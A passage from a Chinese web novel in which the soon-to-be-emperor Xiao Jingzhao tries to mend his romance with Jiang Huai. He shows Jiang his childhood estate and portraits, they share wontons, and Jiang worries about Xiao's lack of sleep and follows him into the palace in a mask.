萧靖昭沉默片刻,再次点头,只是放在身侧的手不自觉蜷缩起来, 姜淮的这个问题让他感觉到姜淮对他的在意,或许事情并不是他想象的那般……
面对萧靖昭的回答,姜淮深吸口气, 刚才在以为自己猜测错误的时候, 他都想彻底离开,如果没有发现萧靖昭的存在, 之后可能就按照这个方向行动了。
可现在……
姜淮心情难以言表, 忍不住叹了口气。
叹气声让萧靖昭的心瞬间提了起来, 身体僵硬不敢动。
姜淮抬眼, 仔细地看着萧靖昭, 有点感慨,怪不得都说灯下看美人越看越美, 昨晚的萧靖昭确实是越看越美, 不然他梦里不至于将对方看成了人偶娃娃,而现在再看, 尽管因为没有休息好,脸色有些发白, 状态有点差,但是配上对方紧张忐忑的目光,反而有种脆弱感,更好看了。
等下, 他在想什么?
意识到自己又被萧靖昭的容貌给迷惑, 姜淮倏地收回视线,耳尖发红。
姜淮很清楚自己的颜控属性, 看到好看的人就会忍不住多看几眼,态度也会变好一些,但是在萧靖昭身上,这种属性似乎是得到了增强,也不知道是不是因为有感情的缘故。
姜淮晃了晃脑袋,让自己清醒一点,别轻易被脸给迷惑了,就算他再喜欢萧靖昭,可萧靖昭的身份,以及之前的隐瞒,依旧让姜淮无法再用同样的心情面对他了。
只是萧靖昭一直紧盯着姜淮的一举一动,姜淮落到他脸上的目光停留时间异常长,让萧靖昭不自觉想起姜淮昨晚的表现。
似乎面对他的时候,姜淮就会心软一瞬。
当然,虽然最后还是会心硬起来,可那也是因为他离开了。
萧靖昭发现自己似乎是找到了破局的方向,尽管这个办法不能完全解决问题,可有一点可能,他就不能放弃。
所以当务之急就是,不能被姜淮赶出去,要先在这里多待一会。
不等姜淮开口,萧靖昭就先递给姜淮一张纸,上面写得密密麻麻的。
“这是……你的回答?”姜淮语气带着疑问,可心下却肯定了自己的猜测,接了过来。
“你怕我不肯听,才特意准备好这些。”姜淮瞥了一眼,摇了摇手上的纸张。
“我怕你见我心烦,不肯听我说。”萧靖昭垂眸,脸上带着丝丝忐忑不安,面色越发的柔和,让姜淮不自觉想起流放时看到萧靖昭的样子,对方那时候眉眼也是这般柔和,而后才慢慢转向冷硬模样,只是面对他的时候依旧柔和。
“你非要说的话,我也不能拒绝。”姜淮眨了眨眼,没有急着去看上面的内容。
从萧靖昭昨晚偷偷来见他,甚至被他当成玩.偶把玩时,都乖乖的任由他动手动脚,姜淮不用看都知道上面的内容。
姜淮话里带着点刺,但反而让萧靖昭松了口气,如果姜淮真的彻底放下,以姜淮的性格,对方说话定然是万分得体,不会不给面子,但是那种虚假的笑容也意味着姜淮对他不在意了,现在这样反而说明姜淮是在意他的。
“淮儿,除了身份,在你面前我没有伪装过其他的。”萧靖昭低声说道,“不管是性格,喜好,还是对你的感情……”
姜淮相信萧靖昭的感情应该是没有伪装,毕竟老实说,就以萧靖昭现在的身份,就算之前是伪装的感情,可现在也没有必要继续伪装了,顶多就是感情的深浅,可对方能这么克制的表达,也足以证明萧靖昭对他的感情绝对不浅。
因为爱是占有,又是克制,如果只有占有欲,不能克制,萧靖昭也不能这么忍着了。
喜好的话姜淮不清楚是真是假,但是性格……
“我记得人人都说太子殿下……”姜淮脱口问了出来,原文中写的萧靖昭的性格就不说了,那些大部分说的都是萧靖昭登基之后的表现,可现在的时间线和之前有了不小的改变。
不说他做的事,就他和萧靖昭的感情,那也是原文中没有的事,这对性格造成的影响绝对小不到哪里去。
主要还是和原来的性格对比一下,而原来萧靖昭的性格,姜淮以前虽然不认识萧靖昭,可姜太傅是太子的老师,姜淮对于太子的印象就比较深刻了,温文尔雅,外柔内刚……
而他认识的萧靖昭,心善又心狠,冷酷又温和,还挺喜欢和他闹着玩,然后因为过于老实就被他欺负,虽然不能说是截然相反,但差距也挺大的了。
萧靖昭听出了姜淮的意思,唇角微微翘起,问道:“淮儿,你觉得你在外人眼里的样子,和你原本的样子有区别吗?”
“或者说和你在亲近人身边的样子有区别吗?”
萧靖昭这话尽管只是暗示,但也说得非常明显了,他其实一直没有变多少,只不过是在外人看来,他或许变了。
……
姜淮看到眼前被封死的王府,脑子还有点蒙,不知道自己怎么就跟着萧靖昭过来了。
“你不用处理政务吗?”姜淮看着天光大亮,他虽然没有了解过朝廷最近处理政务的流程,但是萧靖昭作为就差一个登基仪式的皇帝,就这么抛下政务不太妥当吧。
而且萧靖昭入京这才多久,如果不好好干,怕是皇位都坐不稳吧,可一旦坐不稳皇位,萧靖昭绝对不会有什么好下场。
“淮儿,你是在担心我吗?”萧靖昭听出姜淮口中对他的担忧,对方显然不是想找借口离开,而是切切实实地在担心他,“不会担心,来之前我已经处理好了。”
毕竟现在虽然忙,可该提拔的官员他也提拔了些,昨天更是加班加点地处理完了政务,不然也不敢那样来找姜淮。
“那我们怎么进去?”姜淮看着贴上了封条的大门,萧靖昭说要带他看看他小时候住的地方,让姜淮对他有一个更加清晰的认知,然后就带他过来了。
可这王府都封上了,除非撕掉封条,不然怎么进得去。可撕掉封条,怕是刚刚进去就要被人发现,就算以萧靖昭现在的身份,被人发现也不要紧,但是有点丢脸。
姜淮左右看看,他知道,萧靖昭能出来绝对不会是一个人出来的,身边应该还有暗卫在,只是他左看右看,都没有发现暗卫是藏在哪里,更别说有人出来帮忙。
“我们不走正门。”萧靖昭说完,拉着姜淮绕到一旁的巷子里,走了一会,忽然朝墙上纵身一跃,就这么轻巧地翻上墙了。
姜淮看得目瞪口呆,虽然从萧靖昭上房梁,他就知道萧靖昭不太符合他印象中的太子形象,但是现在这翻.墙的动作也太熟练了些吧。
“这边就是我幼时住过的院落,以往我经常从这边出来,舅舅也经常在这里接应我。”萧靖昭低头,语气带着些怀念,他那时候就算是想出门,却也知道如果是单独出门,危险是一方面,可只要出去一次,没有人帮着打掩护,也很快就会暴露的。
“这事,是不是只有卫轩知道?”姜淮仰头。
萧靖昭轻笑一声,点点头。
姜淮就知道,如果知道的人多了,萧靖昭绝对不可能练出这么熟练的翻.墙动作。
不过萧靖昭是翻上去了,他怎么上去?
姜淮纠结之际,萧靖昭再次跳了下来,然后抱着姜淮重新翻了过去,姜淮只来得及惊呼一声,就感觉身体腾空而起,在墙头还待了不到一秒,就落到了院墙内。
萧靖昭对这里很是熟悉,拉着姜淮就进了小院,院落很大,虽然已经很久没有人住,但是布置摆设依旧精致,只是似乎有一段时间没有打扫,稍微显得有些破败了。
萧靖昭也很久没有回来,毕竟从他入宫后,就没有机会回来了。
不过很久没有回来,不代表萧靖昭忘记了这里,重回故地,萧靖昭指着院子介绍了起来。
萧靖昭想让姜淮清晰地了解自己幼年时的情况,带着姜淮过来的时候,萧靖昭本以为自己能说出很多事,可真的和姜淮介绍起来,萧靖昭才发现自己的幼年竟然无比的枯燥,唯一能多说几句的,便是他的父母亲缘了。
毕竟因为他的出世,卫姝的身子受损,再也不能受孕了,而当年还是三皇子的萧宏是不可能只有一个子嗣的,这子嗣过于单薄,一旦萧靖昭有个万一,又没有娶侧妃纳妾生子,那萧宏年纪大些,说不定都不能有子嗣,那就等于绝后了,毕竟卫姝嫁给萧宏好几年后才怀上萧靖昭。
而因为萧靖昭让卫姝不能受孕,加上萧宏又娶了侧妃,卫姝对萧靖昭的态度也是时好时坏的,以至于从萧靖昭记事起,便是不停地念书,因为只有表现出优秀的一面,才能让萧宏多看一眼,才能让卫姝更加满意。
只是这么一来,幼年就很是无趣了。
第73章 第 73 章
“是不是太无趣了些?”萧靖昭停下介绍, 声音有些惆怅。
他是想让姜淮多了解他几分的,只是越说越感觉似乎没有什么好说的,他原本还打算带着姜淮去其他地方看看, 可是现在……
他幼年时没有什么值得说道的事,可少年时似乎也没有,不过是循规蹈矩地做一个能让其他人满意的继承人, 入宫后就是做一个让皇帝皇后臣子满意的太子, 尽管他心中不似表现出来的那般,可人生当中确实没有什么值得说道的地方。
不过, 都这么多年过来了, 萧靖昭的内心其实并不脆弱, 如果没有姜淮, 他只会将这些全部埋藏在心中, 没有人会知道他还有这种想法,他也不会对任何人表现出这种脆弱, 就算是卫轩这个小时候带着他去外面的舅舅, 在他决意报仇后,也看不到他这一面。
可在姜淮面前, 他想袒露自己的另一面。
只是现在却感觉自己的这一面并没有什么能吸引姜淮的精彩。
“不无趣啊!”姜淮摇头,他对古代幼童的生活倒是有点好奇, 毕竟他的记忆中,原姜淮因为自幼体弱,可以说几乎都是待在屋子里,很少能出来, 连院子都不太出来, 更别说念书学习,幼年的记忆几乎就是屋子, 比萧靖昭更无趣一些。
更何况,或许是因为对萧靖昭的感情,姜淮发现自己还挺喜欢听萧靖昭说起小时候的事,有点幻视他小时候的成长一般。
“这里有你小时候的画像吗?”姜淮问道。
虽然看萧靖昭的样子就知道他小时候也是个漂亮的幼童,但是姜淮还是有点好奇他到底长什么样,如果他没有记错的话,大周是有这个习俗的,不过一般人家是舍不得请画师画像,一些稍微富裕些的人家也就是孩子周岁时留个画像。
不过到了王侯将相这个阶层,一年留一张画像都只能算少了,不过听萧靖昭说起卫姝和萧宏的关系,姜淮也不太好说,卫姝会不会让画师给他画像。
“……自然是有。”萧靖昭愣了下才回答,意识到姜淮似乎是对他的幼年起了兴趣,刚刚的失落一扫而空。
刚才姜淮说不无趣可能还是在宽慰他,可想看看他幼年时的画像,显然是真的有兴趣,而不是安慰他。
萧靖昭清楚地记得自己当年留了画像,尤其是年纪尚小的时候,那时候就算萧宏有侧妃妾室了,可明面上还是对卫姝不错的,只是和之前的不纳二色对比,卫姝无法接受,可要和其他男子比起来,又还算好。
所以那时候他画了不少画像,现在一说起来,萧靖昭又有些庆幸,还好留下了不少画像。
萧靖昭记得当年入宫时,这些画像并没有跟着一起带进宫中,而是被他留了下来。
毕竟那时候,这些画像对他来说还算是美好的回忆,他情愿这些画像留在王府内,就好像这些还算美好的回忆可以亘古不变,而不是随着时间的推移,逐渐褪.去颜色。
萧靖昭领着姜淮进了书房,书房大门也是有一阵子没有打开,不过好在以前打扫的极好,并没有什么破败气息,萧靖昭熟门熟路地从一个柜子里翻出一些装裱好的画轴。
“这大概是满月时的画像。”萧靖昭抽出一个画轴,打开一看就说道。
“满月的时候?”姜淮不自觉皱眉,满月的时候很少会有人让画师给孩子画像,因为这时候还太年幼了,不宜见外人,也不宜到室外,而画像一般都是要光线好的时候让画师多看一会,不然在屋内光线不足。
如果他没有记错,萧靖昭的生日是在冬日,而且按照萧靖昭之前的解释,卫姝生产时伤到了身体,萧靖昭其实也是受了影响的,幼年身体也虚弱了些,好在后面调理好了。
那满月时身体恐怕也不好吧,毕竟是药三分毒,没有太大问题的话,哪怕是太医,也不敢就这么给一个幼儿开方子喂药,幼儿是承受不住的。
“对,那时候说是先帝想看看我,可幼儿体弱,不宜出门,萧宏便让人给我画了张画像。”萧靖昭语气平淡。
姜淮听出其中的意思,当时的萧靖昭就像是萧宏那时好不容易得来的稀罕物,是用来讨好人的,而被讨好的那人想要看看这稀罕物是什么样,虽然为了以后,萧宏没有舍得太损害这稀罕物的身体,可也用了别的方法展示,至于说这个方法会不会伤到萧靖昭,那就顾不得太多了,毕竟这已经是用了损伤最小的办法。
至于说让先帝来三皇子府上看看萧靖昭,就算先帝有这个意念,恐怕当时也不会这样行动,姜淮记得姜太傅曾经提过当年的夺嫡事宜,萧宏在娶卫姝之前是不占上风的,甚至是被其他皇子忽略,也就是娶了卫姝后,才逐渐被先帝看在眼里。
那时候先帝要是来三皇子府上,动静就太大了点。
原文中并没有提这么多,而在知道萧靖昭身份前,姜淮虽然知道这个,可也没有什么感觉。
在他看来,太子的事虽然从一个小孩子的角度来看挺惨的,可世上悲惨的事更多,太子顶多就是感情上得不满足,被当爹的视作争夺皇位的工具,被先帝当成一个合格的大周继承人,而卫姝,或许也有几分爱,但是更多的也可能是将对方当成了争宠的工具。
但是这些离他都很遥远,一个不熟悉的人在感情上有些悲惨不太容易让人有共鸣。
可这个陌生人成了萧靖昭,姜淮感觉自己已经没有办法深想下去。
“我看看这画像。”姜淮转移话题,毕竟他都能想到这么多,萧靖昭恐怕想的会更多,他不想让对方深想下去。
萧靖昭心细如发,此时的注意力更是全都落在姜淮的身上,怎么会看不出他试图转移自己注意力的意思,原本因为这些事而勾起的一些愁绪一扫而空,将画轴彻底打开,方便姜淮观看。
他知道自己说这些像是在施展苦肉计,可这些事也不是他编造出来的,只是将这些脆弱展露在姜淮面前。
若姜淮对他无情,自然无用,若对方对他还有感情,那能勾起姜淮对他的不忍心,又有何不可。
总好过他什么都瞒着,然后让姜淮对他彻底冷淡下来。
萧靖昭眼眸微垂,眼中透出几分冷意,但是在看向姜淮时又将冷意褪.去,露出几分赤忱来。
姜淮认真地看着画像,发现这画像和自己想象的一样,满月的萧靖昭是个漂亮宝宝,哪怕是因为先天体弱,看着没有姜淮记忆中的小孩子那么胖,可脸上依旧带着婴儿肥,眼睛一眨不眨地看着前方,眉眼弯弯,唇角上翘,可爱得不行。
画师的画技不差,将萧靖昭脸上的特征都抓准,画得有些传神,尤其是姜淮抬头看一眼萧靖昭,再看看画像,莫名有种时空穿越的感觉,仿佛眨眼的工夫,画像中的幼儿就长大了。
身形长大了,但是那一双透亮的眼睛却没有怎么变。
姜淮忍不住多看了两眼,也不能说完全没有变,起码幼年萧靖昭的眼睛,他看着就觉得单纯可爱,透着灵动,可如今的萧靖昭……
姜淮手指颤了颤,不自觉避开对方赤忱的目光,在这种目光下,他都有点维持不住之前的愤怒了,甚至有点想要替对方找理由了。
因为说到底,萧靖昭隐瞒身份也是很正常,最开始的时候他根本不可能暴露自己的身份,哪怕姜淮是姜太傅的孙儿,可萧靖昭的身份事关重大,告诉姜淮就等于留下了隐患。
而后面,姜淮再次回忆起往昔,带着答案回头看,就发现有挺多次,萧靖昭都有点欲言又止的,只是那时候他都没有注意,只是让误会成别的,以至于最后都没有说成。
姜淮的动作有些明显,萧靖昭自然也注意到了,不过他倒是没有太多想,毕竟他也不敢多想,万一是他想太多了呢,只当是姜淮还是喜欢他的容貌,可两人靠得这么近,萧靖昭也不敢表现得太欣喜,怕姜淮恼羞成怒。
只是在接下来给姜淮展示其他画像时,更加卖力地试图展示出自己容貌的优势。
这种孔雀开屏的炫耀,就算姜淮一开始没有发现,可等多看几次,发现不管从什么角度看萧靖昭,对方都以最好的角度展示脸庞,这就很难让姜淮发现不了。
姜淮深吸口气,他现在对于之后也是有些纠结了,不过不管之后的决定如何,这糖衣他就先吃了吧。
姜淮确定心思后,看向萧靖昭的目光就不再躲闪了,毕竟以往他看萧靖昭都不能这么直白地看着,不管是出于礼节还是别的,这么直白地盯着人看都有些不礼貌,但是现在,这不是萧靖昭让他多看看。
萧靖昭虽然是试图诱.惑姜淮,可也没有想到姜淮的反应会是这样的,被盯了一会儿之后,脸上泛起红晕。
第74章 第 74 章
从王府出来, 萧靖昭脸上的红晕都没有彻底地淡下去。
姜淮本来都没有什么不好意思的,硬是被他这个表情给弄得有点害羞了。
“要不要去宫里一趟?”萧靖昭问,他的人生, 除了在王府,剩下的就是皇宫了。
姜淮摇摇头,这看个王府也就够了, 哪怕只是去宫里看一圈, 他现在也不是很想去。
更何况,肚子好像有点饿了。
姜淮摸了摸肚子, 他们这出门得太早, 远远早于姜淮平时起床的时间, 以至于后厨该准备的早膳还没有备好, 本来昨天吃了火锅, 比较平时算是吃得多点了的,只不过这走一圈, 又有点饿了。
好在京都什么都不缺, 姜淮记得他们刚刚坐马车来的方向,似乎有小店开了, 卖的是馄饨,汤底的香气异常浓郁, 姜淮也不想回府上去吃,干脆去那里吃一碗馄饨好了。
虽然方庖厨做的饭菜很好吃,但是天天吃也容易吃腻,以前在安远府的时候, 姜淮就经常拉着萧靖昭在外面吃一顿, 毕竟方庖厨的手艺虽好,可在外面吃有新鲜感。
当然, 这个习惯是在安远府逐渐成为远近闻名的美食地点才养成的,因为放之前,姜淮和萧靖昭出来吃,遇到过惊喜,但更多的是遇到惊吓,而随着安远府的名头越来越响,竞争也逐渐激烈起来,那些厨艺不太好的摊贩都竞争失败,被人取代,这时候再去外面吃,惊喜就多一些了。
而京都的饭菜,姜淮觉得京都的竞争应该会更大一些,没有点拿手绝活大概率是很难生存下来的。
最主要的是,就汤底的香气,姜淮觉得做得比当庖厨的还要好。
姜淮想要在外面吃,萧靖昭只会跟随。
这时候还没有到用朝食的时间,小店内一锅汤熬的香喷喷的,一老汉正包着馄饨,路过的人有些忍不住,买了一碗馄饨吃起来。
姜淮瞥了眼老汉,注意到对方的指甲修剪得整整齐齐,衣服也是干净得很,更加安心了点,这出来吃除了讲究味道,还要讲究一些卫生。
虽然说只看这些不能完全证明对方做馄饨的时候很讲卫生,但是不注意这些的店肯定不卫生。
“老丈,麻烦来……两碗馄饨。”姜淮看了眼萧靖昭道。
老汉连忙应道,赶紧将包好的馄饨下锅,这才抬头朝姜淮和萧靖昭看来,用一旁的抹布将桌子擦得干干净净,赶紧招呼他们坐下。
“小店只能在这外面用饭,招待不周,贵客见谅。”老汉看得出来,姜淮和萧靖昭的衣着都不一般,他这小店平时也就招待些普通人,在这外面吃自然不介意,可这两人就不知道是什么想法了。
可客人上门,他也不可能赶他们走,不然就更得罪人了,只能提前解释一下。
姜淮不在意地摆摆手,闻着空中飘散的香气,问:“没事,这馄饨多久好?”
“稍等一会,马上便好,这馄饨皮薄,一会儿就熟了。”老汉见姜淮态度和善,也露出一丝笑容,解释道。
萧靖昭紧挨着姜淮坐下,看到姜淮这么快就被馄饨给吸引了注意力,完全忽视了他,忍不住伸手碰了碰姜淮的手指。
姜淮疑惑转头,就对上萧靖昭明亮的眼眸。
“怎么了,不喜欢吃?”姜淮疑惑。
“想要你多看看我。”萧靖昭不想说谎,直白道。
姜淮被这一记直球给打得有点懵,下意识扭头,不敢再看萧靖昭。
姜淮怀疑是不是他刚才看得太直白了,导致萧靖昭被他影响地抛下了羞耻心,而且最重要的是,这里还有人在啊。
老汉本来还乐呵呵地站在一边,正想和姜淮夸耀一下自家的馄饨有多美味,听到萧靖昭这话也听傻眼了。
萧靖昭一出现,老汉就觉得萧靖昭不太好招呼,可现在,老汉感觉自己的猜测好像出了点问题。
“客官你坐,我去看看馄饨好没好。”老汉紧张说完,就赶紧回店内,他怕再待下去,那个冷面青年会说更多,虽说素不相识,但是这话他也不太敢听啊。
看到老汉离开,萧靖昭没有再说话了。
姜淮这才明白了萧靖昭的意图,对方这是觉得他太关注馄饨了,所以要夺回注意力是吧。
姜淮没想到,一人吃醋,居然可以对美食吃醋。
“待会的馄饨是不是得给你少放点醋,省得你吃多了,酸的慌。”姜淮忍不住瞥向萧靖昭。
不过一说完,姜淮就感觉不对劲,他现在和萧靖昭的关系还不能说这个。
果然,听到姜淮这话,萧靖昭脸上的笑容就更明显了些,在他看来,这就是姜淮下意识的反应,而这种反应则说明姜淮对他的心思其实没有变。
意识到自己的态度,姜淮这碗馄饨都吃得有点不是滋味了,虽然馄饨确实很好吃,但是一想到萧靖昭,口中就好像多了些酸甜难言的味道。
……
姜府。
姜淮处理完手头上的杂务,忍不住长叹了口气。
自从那日跟着萧靖昭去王府,已经过了三四天了,他犹豫来犹豫去,最后还是没有选择离开,只不过还是换了处住所,之前那处住所虽然处处妥帖,可待在那里,姜淮还是有些芥蒂的。
毕竟一直住在那里的话,他很难忘记在之前在这座宅邸发生过的事,所以还是换一个地方吧。
萧靖昭之前不想让姜淮搬走是怕姜淮一走就不见人,可姜淮既然还是会留在京都,那住不住的也就无所谓的,更何况他听出姜淮的意思,更是不会阻拦了,毕竟只要姜淮心里还惦记着他,那就没事。
只不过这搬走,姜淮搬得也不算特别远,因为符合姜淮喜好的宅邸也就那些,剩下的都是各有各的缺点,最后搬进去的宅邸也就比之前的宅子离皇宫要稍微远一些,不过也没有远多少。
宅邸的面积和之前比要小了一些,不过姜淮反而更喜欢一些,不然宅邸太大了,他这出门一趟还得多走几步。
只不过萧靖昭看出了姜淮的态度,也不畏畏缩缩了,每天都要来找姜淮,或陪着姜淮用饭,或带着姜淮出门散心,也不知道他哪里来的那么多空闲时间。
听到外面熟悉的脚步声,姜淮一扭头,就看到萧靖昭又来了。
“淮儿……”
“政务这么快就处理完了?”姜淮看了看外面的天色,和昨日比起来,萧靖昭来得又更早了点,就他这个登门的时间看,姜淮都以为萧靖昭不忙了,可问题是可能不能吗?
“今日也没有什么事。”萧靖昭轻飘飘道,政务肯定是多的,但是他挤压了休息时间,自然就能在白天多留出一些空闲时间来。
因为不正值饭点,姜淮也不太想出门,两人干脆就待在书房里下下棋。
姜淮虽然也会一点围棋,但是现在只是为了取乐,尤其是刚刚处理完杂务,大脑使用过度,只想玩点不太动脑的,玩的就是五子棋,虽说也要动点脑子,但是比起围棋来,还是要轻松得多。
只不过正是因为下五子棋不用太动脑,这对萧靖昭来说反而不太妙,倒不是说他不会,而是这几天晚上都没有休息好,疲累叠加着,现在就有一些困倦了,尽管萧靖昭竭力克制,但他在姜淮面前还是很放松的,这种困倦感就有些遮掩不住了。
看着萧靖昭眨眼的速度越来越快,姜淮看了他一眼,再低头看看棋盘,他马上又要输了,姜淮悄悄拿起一颗黑子,和自己手中的白子换了个位置。
萧靖昭事先再次落到棋盘上时,一眼就看出了问题,他虽然困倦,可还记得棋子的大致位置,姜淮这一动他怎么可能注意不到。
“淮儿,你刚刚……”萧靖昭看了看棋盘,欲言又止。
“都困成这样了,居然还能发现?”姜淮说,利落地将换掉的棋子又换了回去。
不过等到这盘棋结束,姜淮直接拉着萧靖昭去睡觉。
“现在倒是不……”萧靖昭困字还没有说出来,就被姜淮按到了床榻上,把外袍给扒掉,让他老实休息一会儿。
“你要不困,我刚刚换棋的时候,你都没有发现,还是换完才注意的。”姜淮这话一出来,萧靖昭无话可说,更何况他现在躺的是姜淮的床,被褥上满是姜淮身上清淡的果香,越发的催人入眠。
“你……”不会离开吧?
萧靖昭知道不会发生这种事,毕竟姜淮就算是真的要离开他,也会提前明说,而不是瞒着他,然后背着他偷跑,可心中的不安还是让他下意识地问出来,不过话刚出口,萧靖昭又知道这么问不妥,赶紧收了回来。
“安心,你继续睡,我就在这看看书。”姜淮拿起一旁的书,在路上的时候收信不是那么方便,虽然有些信是会收的,可说书先生们写的小说就不适合那样寄过来了,以至于在路上,姜淮还攒了不少小说内容没有看到。
而抵达京都后,昨日才将包裹寄了过来,姜淮正想找个机会看看。
见姜淮窝在椅子上看书,一派闲适的模样,萧靖昭也感觉到一阵放松,睡意上涌,眼睛闭上,可过一会又不自觉睁开,看一眼就坐在他面前的姜淮,又重新闭上再睁开,再闭上再睁开,好几次后,似乎是被姜淮就在眼前的模样安抚到了,这才彻底睡了过去。
看了一会书,维持一个姿势坐着,姜淮有点坐累了,也觉得有点坐太久,下意识站起来活动下身体。
姜淮感觉自己的动作异常轻微,几乎没有发出什么声响,只是他刚站起来,萧靖昭就猛地睁眼朝他看过来,显然是刚刚从睡梦中惊醒,看到姜淮的动作才重新闭眼睡去。
萧靖昭以前有这么浅眠吗?
姜淮察觉出了不对劲,按照萧靖昭这种浅眠的程度来看,情况有点危险啊,如果只是一两次这样也就罢了,可要是持续的时间长了,养成了一种习惯,那对萧靖昭的身体极为不利。
一个人身体再好,如果长期睡眠得不到满足,或者老是被打断睡眠,整个人的精神状态都会变差,更别说身体了。
就姜淮自己来说,一旦身上哪里有点小病小痛,不是大问题,只要能好好睡一晚,不行再好好的多睡几晚,身体也就差不多恢复了,可要是连着几晚没有休息好,那什么病都会找上门来。
姜淮犹豫了下,往床榻边走了几步,结果出乎姜淮的预料,萧靖昭又没有被他吵醒,直到姜淮走到床榻边,萧靖昭依旧在沉睡。
离得近了,萧靖昭眼底的青黑就怎么也遮掩不住了,睁眼的时候,由于眼睛太好看了,眼底的青黑反而看起来像是画了眼线一般,显得眼睛更加漂亮,可一闭上眼睛,没有眼睛转移注意力,黑眼圈就有点明显了。
显然是这几天都没有怎么好好休息,说什么没多少政务,估计都是在骗他,可能是趁着晚上偷偷处理。
只是他直接说的话,萧靖昭肯定不会承认的。
姜淮想要去问问卫轩,但是很快姜淮就反应过来,就算是卫轩,萧靖昭如今身份不同,卫轩也不可能知道他一天十二个时辰都在干什么,至于说找萧靖昭身边的人问,他敢问,其他人都不敢回答。
真要回答的话,肯定也是得到了萧靖昭的授意,萧靖昭会怎么回,姜淮都猜出来了,肯定都是吃好喝好睡好,没有事,让他不要担心。
所以想要知道真相的话,那就只能他亲自去盯着了。
只是入宫盯着萧靖昭,就为了对方休息的事,姜淮觉得自己是不是有点小题大做,可心底对萧靖昭的担忧又让姜淮没有办法彻底否决这个想法。
……
“你要跟我进宫?”萧靖昭没想到一觉醒来居然能听到这样的好消息,都有点反应不过来。
“我想看看你在其他人面前又是什么样的。”姜淮拿出萧靖昭之前的说法,萧靖昭不是想让他更多了解他一些吗?
姜淮本来只是将这个作为借口,但是话一说出来,他又感觉自己确实想了解这些。
萧靖昭才不管姜淮的借口是什么,在他看来,哪怕姜淮只是愿意去宫里待上一天,这也是一个进步了。
“那淮儿你是要正大光明得进去还是……”萧靖昭问道。
“偷偷地进去,最好没有人知道我的存在。”姜淮脱口而出,他现在不想让自己成为别人口中的谈资。
萧靖昭应下,他也知道姜淮不是那么想让人知道他们之间的关系。
只不过没有人知道姜淮存在的话。
“淮儿,你不太可能避开内侍的。”萧靖昭说道,“不过内侍不会将你的消息传出去的。”
“不过也不是没有办法,我让人送面具过来,你戴着面具的话,就没有人认得出你了。”萧靖昭见姜淮皱了皱眉,又建议道。
“面具?”姜淮惊讶,他刚才还想不行的话就让内侍看见他算了,但是有方法的话,还是用这个方法吧,“可以。”
萧靖昭吩咐了一声,很快就有人将面具取了过来,有好几张面具。
姜淮随意拿起一张银色面具,上面有一些奇特的花纹,看起来异常华美,内里有内衬,戴在脸上倒是不冷,也不磨脸,还挺舒服的,就是姜淮还是头一次戴这个面具,感觉视野都变得有点怪怪的。
“你要是不喜欢的话,不如试试这个。”萧靖昭拿起另一张面具,和姜淮脸上这副面具相比,面具呈金色,镶嵌宝石,不过是覆盖在口鼻上。
“这些看起来不像是大周的风格啊!”姜淮摘下面具,又看了看其他的面具,感觉都带着异域风格,起码他平日在外遇到卖杂货的人所卖的面具,绝对不是这个样子的。
“是外邦进献的,一直放在库房吧。”萧靖昭说。
姜淮没想到自己还猜对了,看了看手里的面具,又拿起萧靖昭手上的面具,掂了掂分量,干脆利落地将金色面具放了回去。
这金色的面具还真是黄金做的,可哪怕做得很轻薄,可上面镶嵌的宝石也有些分量,更别说这面具他估计得戴一会,还是给自己减减负。
最主要是,姜淮觉得这面具有点沉,万一没戴好直接掉下来,那这不就直接在外人面前掉马了。
姜淮掂了掂其他面具,发现还是他一开始拿到手的面具最轻巧,而且眉眼最容易让人认出来,可鼻子嘴唇的话,特征似乎就没有那么好认了。
挑好了面具,姜淮就跟着萧靖昭入宫了。
永安宫内。
姜淮有些好奇地上下打量萧靖昭的住所,萧靖昭拉着他四处介绍,这是处理政务的地方,这是和朝臣商议政务的地方,这是他暂时歇息的地方,以及他晚上歇息的地方。
“要不然我们先用膳。”萧靖昭忍着兴奋道,尽管知道姜淮可能只是在这待一天就走,可依旧让他克制不住兴奋的心情。
姜淮点点头,走了这么一圈,他也有点饿了。
“你想吃什么?”
“我随你吧,你平时吃什么我就吃什么。”姜淮没有点菜,他对这里膳房厨子的手艺如何都不清楚,也不知道对方会什么拿手菜,还是跟着萧靖昭一起吃最好,毕竟这都是皇宫的厨子,总不至于做得特别难吃。
萧靖昭看了眼姜淮,确定姜淮不是因为拘谨而不点菜,才吩咐下去,让膳房做一些辣味重些的菜上来。
姜淮坐下,左右看了看,皇宫内的摆设和宫外比起来就显得华贵太多了,显得富丽堂皇,唯独就是少点人气,可能是因为殿内的家具摆设每一样都干干净净,都摆在合适的位置,不像是人住的地方,倒像是景点。
而且因为气势太重,让人身处其间就下意识的正襟危坐。
不过姜淮正经坐了没一会,还是老实的瘫软下来,没办法,正襟危坐太累了,还是懒洋洋地坐着舒服。
姜淮漫不经心地打量四周,守在外面的内侍心中却是惊涛骇浪,萧靖昭带人入宫有点稀罕,但是也不太稀罕,毕竟被关起来的老皇帝也时常带着宫外找来的美人入宫,他们哪怕是都可以算是见得多了。
可萧靖昭对姜淮的态度可就太不同寻常了,哪个美人入宫可以这样对待老皇帝,不但毫无谦卑之态,甚至有点居高临下。
哪怕萧靖昭此时还没有正式登基,可对方也已经是这个帝国的主人了,更是这座皇宫的主人。
只不过内心有再多的思绪,可没有哪个内侍敢表现出来,毕竟萧靖昭都不在意姜淮的这个态度,而且萧靖昭似乎并不想让他们多看姜淮,他们自然就得管住自己的眼睛。
这位公子有吩咐的时候他们得警醒着点,可没有吩咐,眼睛也不要落到对方身上去,只用眼角余光注意便好。因为他们也看出来了,姜淮并不喜欢有人多看他。
“你前几天回来后,就这样坐着,不用做什么吗?”姜淮收回注意力,看向坐在一旁的萧靖昭。
这当然不是,往日萧靖昭回宫之后,先要看看是不是还有他要处理的政务,如果有,那就先干活,没有的话,就看看暗卫送来的关于姜淮一举一动的记录,也只有看着这些记录,萧靖昭才能稍微安定一些。
不过等用完膳之后,有政务继续处理政务,没事的话也不能去找姜淮,因为这时候姜淮也要休息了,只能去休息,然后等着白天的到来,再次处理掉政务,抽时间去找姜淮。
虽然这样做时间有些紧张,但是这么做几天后,萧靖昭自我感觉还不错。
听萧靖昭说完,姜淮不自觉皱了皱眉,他本来以为萧靖昭没有休息好是晚上处理政务,可现在听他这么说,政务多归多,但又好像不至于挤压到这个地步,那就是晚上没有休息好。
“淮儿?”萧靖昭见姜淮没有说话,疑惑道。
“我今天和你一起睡!”姜淮思前想后道。
萧靖昭愣住,尽管他知道姜淮说这句话的意思大概率不是要做什么,可能只是和之前他们还没有意识到感情时的同榻而眠一样,可还是让他忍不住有了一丝遐想。
